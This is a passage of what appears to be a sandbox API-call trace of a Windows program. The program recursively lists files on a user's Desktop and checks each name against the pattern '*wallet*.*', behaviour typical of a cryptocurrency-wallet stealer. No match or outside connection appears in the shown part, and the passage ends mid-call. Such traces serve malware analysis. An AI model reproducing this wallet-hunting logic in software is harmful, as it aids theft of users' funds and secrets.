[0099.589] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430d00 [0099.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3430d00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.589] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303f8 [0099.589] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d00 | out: hHeap=0x2110000) returned 1 [0099.589] PathMatchSpecW (pszFile="RlIHjPIHGxNLKdZtxgXD.mkv", pszSpec="*wallet*.*") returned 0 [0099.589] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0099.589] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa718 | out: hHeap=0x2110000) returned 1 [0099.589] FindNextFileW (in: hFindFile=0x6d1698, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 0 [0099.589] FindClose (in: hFindFile=0x6d1698 | out: hFindFile=0x6d1698) returned 1 [0099.590] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.590] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x34300d0 [0099.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpUsedDefaultChar=0x0) returned 45 [0099.590] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.590] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.590] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.590] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c60 [0099.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430c60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.590] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.590] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.590] PathMatchSpecW (pszFile="FfCPM", pszSpec="*wallet*.*") returned 0 [0099.590] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.590] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.590] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73f7660, ftCreationTime.dwHighDateTime=0x1d7a5a5, ftLastAccessTime.dwLowDateTime=0x140c8d40, ftLastAccessTime.dwHighDateTime=0x1d7a9e9, ftLastWriteTime.dwLowDateTime=0x140c8d40, ftLastWriteTime.dwHighDateTime=0x1d7a9e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="fw4-.avi", cAlternateFileName="")) returned 1 [0099.590] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.590] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.590] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="fw4-.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi" [0099.590] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.590] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.590] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="fw4-.avi" | out: lpString1="\\km0vcCJ\\fw4-.avi") returned="\\km0vcCJ\\fw4-.avi" [0099.590] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.590] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", lpUsedDefaultChar=0x0) returned 48 [0099.591] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.591] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.591] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.591] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430d20 [0099.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430d20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.591] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430538 [0099.591] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.591] PathMatchSpecW (pszFile="fw4-.avi", pszSpec="*wallet*.*") returned 0 [0099.591] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430538 | out: hHeap=0x2110000) returned 1 [0099.591] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.591] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21cb9ee0, ftCreationTime.dwHighDateTime=0x1d7a858, ftLastAccessTime.dwLowDateTime=0x7ae5b3a0, ftLastAccessTime.dwHighDateTime=0x1d7ab26, ftLastWriteTime.dwLowDateTime=0x7ae5b3a0, ftLastWriteTime.dwHighDateTime=0x1d7ab26, nFileSizeHigh=0x0, nFileSizeLow=0x12842, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tc9-j3lGUjaG6GJI.png", cAlternateFileName="TC9-J3~1.PNG")) returned 1 [0099.591] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.591] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.591] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="Tc9-j3lGUjaG6GJI.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png" [0099.591] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.591] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.591] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="Tc9-j3lGUjaG6GJI.png" | out: lpString1="\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png") returned="\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png" [0099.591] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.591] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112d20 [0099.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x2112d20, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", lpUsedDefaultChar=0x0) returned 60 [0099.591] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21129c0 [0099.591] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0099.591] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.592] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430f20 [0099.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430f20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.592] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.592] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f20 | out: hHeap=0x2110000) returned 1 [0099.592] PathMatchSpecW (pszFile="Tc9-j3lGUjaG6GJI.png", pszSpec="*wallet*.*") returned 0 [0099.592] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.592] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21129c0 | out: hHeap=0x2110000) returned 1 [0099.592] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 1 [0099.592] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.592] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.592] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="UR4TA9fA1.xlsx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx" [0099.592] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.592] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.592] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="UR4TA9fA1.xlsx" | out: lpString1="\\km0vcCJ\\UR4TA9fA1.xlsx") returned="\\km0vcCJ\\UR4TA9fA1.xlsx" [0099.592] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.592] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33ab060 [0099.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x33ab060, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.592] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c90 [0099.592] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab060 | out: hHeap=0x2110000) returned 1 [0099.592] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.593] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430dc0 [0099.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430dc0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.593] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430dc0 | out: hHeap=0x2110000) returned 1 [0099.593] PathMatchSpecW (pszFile="UR4TA9fA1.xlsx", pszSpec="*wallet*.*") returned 0 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0099.593] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 0 [0099.593] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.593] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa248 [0099.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.593] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x27) returned 0x211acc0 [0099.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x211acc0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpUsedDefaultChar=0x0) returned 39 [0099.593] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211acc0 | out: hHeap=0x2110000) returned 1 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa248 | out: hHeap=0x2110000) returned 1 [0099.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.593] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ca0 [0099.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ca0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.593] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.593] PathMatchSpecW (pszFile="km0vcCJ", pszSpec="*wallet*.*") returned 0 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.593] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.594] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaab4640, ftCreationTime.dwHighDateTime=0x1d7a7ca, ftLastAccessTime.dwLowDateTime=0xae9fe3b0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0xae9fe3b0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x18c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="m2PaM.avi", cAlternateFileName="")) returned 1 [0099.594] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.594] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.594] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="m2PaM.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi" [0099.594] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.594] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.594] lstrcatW (in: lpString1="\\", lpString2="m2PaM.avi" | out: lpString1="\\m2PaM.avi") returned="\\m2PaM.avi" [0099.594] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.594] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x29) returned 0x34300d0 [0099.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", lpUsedDefaultChar=0x0) returned 41 [0099.594] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.594] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.594] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.594] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c40 [0099.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.594] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.594] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0099.594] PathMatchSpecW (pszFile="m2PaM.avi", pszSpec="*wallet*.*") returned 0 [0099.594] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.594] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.594] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTVwnxmU4D", cAlternateFileName="MTVWNX~1")) returned 1 [0099.594] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.595] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.595] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.595] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.595] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.595] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.595] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.595] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.595] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="." | out: 